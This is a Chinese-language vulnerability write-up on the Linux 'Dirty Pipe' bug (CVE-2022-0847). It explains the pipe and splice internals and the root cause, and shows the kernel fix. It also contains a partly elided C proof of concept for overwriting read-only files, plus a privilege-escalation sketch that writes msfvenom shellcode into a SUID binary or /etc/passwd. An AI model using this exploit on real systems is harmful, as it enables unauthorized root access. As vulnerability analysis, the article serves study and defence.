CVE-2022-0847 “Dirty Pipe”漏洞复现及简要分析
字数 1286 2025-08-29 08:31:47
Linux内核漏洞CVE-2022-0847 "Dirty Pipe" 分析与利用指南
漏洞概述
CVE-2022-0847是一个Linux内核漏洞,被称为"Dirty Pipe",类似于著名的"Dirty Cow"(CVE-2016-5195)漏洞。该漏洞允许攻击者越权对文件进行写入操作,影响范围广泛,CVSS评分为7.2。
受影响版本:
- 影响Linux内核5.8及以上版本
- 在5.16.11、5.15.25、5.10.102版本中被修复
前置知识
管道(Pipe)机制
管道是Linux中重要的IPC机制,在内核中通过以下结构实现:
- 核心数据结构:
pipe_inode_info:管理管道的核心结构pipe_buffer:表示管道中单页内存的数据
struct pipe_buffer {
struct page *page; // 存放数据的页框
unsigned int offset, len; // 数据在页中的偏移和长度
const struct pipe_buf_operations *ops; // 操作函数表
unsigned int flags; // 缓冲区标志位
unsigned long private; // 函数表私有数据
};
-
管道创建流程:
do_pipe2() → __do_pipe_flags() → create_pipe_files() → get_pipe_inode() → alloc_pipe_info() -
管道操作函数表:
const struct file_operations pipefifo_fops = { .open = fifo_open, .llseek = no_llseek, .read_iter = pipe_read, .write_iter = pipe_write, // ...其他操作 };
管道写入过程
pipe_write()函数的关键行为:
- 如果管道非空且上一个buffer未满,尝试向上一个buffer追加数据(需
PIPE_BUF_FLAG_CAN_MERGE标志) - 对于新buffer,如果没有
PIPE_BUF_FLAG_CAN_MERGE标志则分配新页面 - 循环写入直到完成或管道满
Splice机制
splice()系统调用用于在文件和管道间高效传输数据,避免了用户空间与内核空间的数据拷贝。
关键流程:
- 文件→管道:
splice_file_to_pipe() → do_splice_to() → generic_file_splice_read() - 管道→文件:
do_splice_from() → iter_file_splice_write()
漏洞分析
漏洞原理
漏洞产生于以下条件:
- 管道被完全读写一轮后,所有
pipe_buffer都保留了PIPE_BUF_FLAG_CAN_MERGE标志 - 使用
splice从文件读取数据到管道时:- 将
pipe_buffer->page指向文件映射的页面 - 但未清除
pipe_buffer->flags中的PIPE_BUF_FLAG_CAN_MERGE标志
- 将
- 后续写入时,内核误认为该页面可写入,导致越权写入文件
漏洞利用步骤
-
初始化管道状态:
- 写满然后读空管道,设置所有buffer的
PIPE_BUF_FLAG_CAN_MERGE标志
- 写满然后读空管道,设置所有buffer的
-
建立文件关联:
- 使用
splice从目标文件读取1字节到管道 - 使
pipe_buffer->page指向文件页面,但保留可合并标志
- 使用
-
越权写入:
- 向管道写入数据,内核会将数据写入文件映射的页面
- 完成对只读文件的修改
漏洞利用实践
基础PoC
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
void errExit(char *msg) {
printf("\033[31m\033[1m[x] Error: \033[0m%s\n", msg);
exit(EXIT_FAILURE);
}
int main(int argc, char **argv, char **envp) {
// 参数检查、文件打开等初始化工作...
// 1. 设置所有pipe_buffer的CAN_MERGE标志
pipe(pipe_fd);
pipe_size = fcntl(pipe_fd[1], F_GETPIPE_SZ);
buffer = malloc(page_size);
for (int size_left = pipe_size; size_left > 0; ) {
int per_write = size_left > page_size ? page_size : size_left;
size_left -= write(pipe_fd[1], buffer, per_write);
}
for (int size_left = pipe_size; size_left > 0; ) {
int per_read = size_left > page_size ? page_size : size_left;
size_left -= read(pipe_fd[0], buffer, per_read);
}
// 2. 使用splice建立文件关联
offset_in_file--;
retval = splice(target_file_fd, &offset_in_file, pipe_fd[1], NULL, 1, 0);
if (retval < 0) errExit("splice failed!");
// 3. 越权写入文件
retval = write(pipe_fd[1], argv[3], data_size);
if (retval < 0) errExit("Write failed!");
}
提权利用
通过覆写SUID程序或/etc/passwd文件实现提权:
unsigned char shellcode[] = {
// msfvenom生成的shellcode
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00,
// ...省略其他字节
};
int main(int argc, char **argv) {
// ...同上初始化步骤
// 写入shellcode
retval = write(pipe_fd[1], &shellcode[1], shellcode_len);
// 触发提权
system(argv[1]);
}
漏洞修复
修复方案是在相关操作中清除pipe_buffer->flags:
--- a/lib/iov_iter.c
+++ b/lib/iov_iter.c
@@ -414,6 +414,7 @@ static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t by
return 0;
buf->ops = &page_cache_pipe_buf_ops;
+buf->flags = 0;
get_page(page);
buf->page = page;
buf->offset = offset;
@@ -577,6 +578,7 @@ static size_t push_pipe(struct iov_iter *i, size_t size,
break;
buf->ops = &default_pipe_buf_ops;
+buf->flags = 0;
buf->page = page;
buf->offset = 0;
buf->len = min_t(ssize_t, left, PAGE_SIZE);
总结
"Dirty Pipe"漏洞利用管道机制中的标志位处理不当,实现了对只读文件的越权写入。与"Dirty Cow"相比,该漏洞利用更稳定但写入范围受限。系统管理员应及时更新内核,开发者应注意内核数据结构的状态一致性。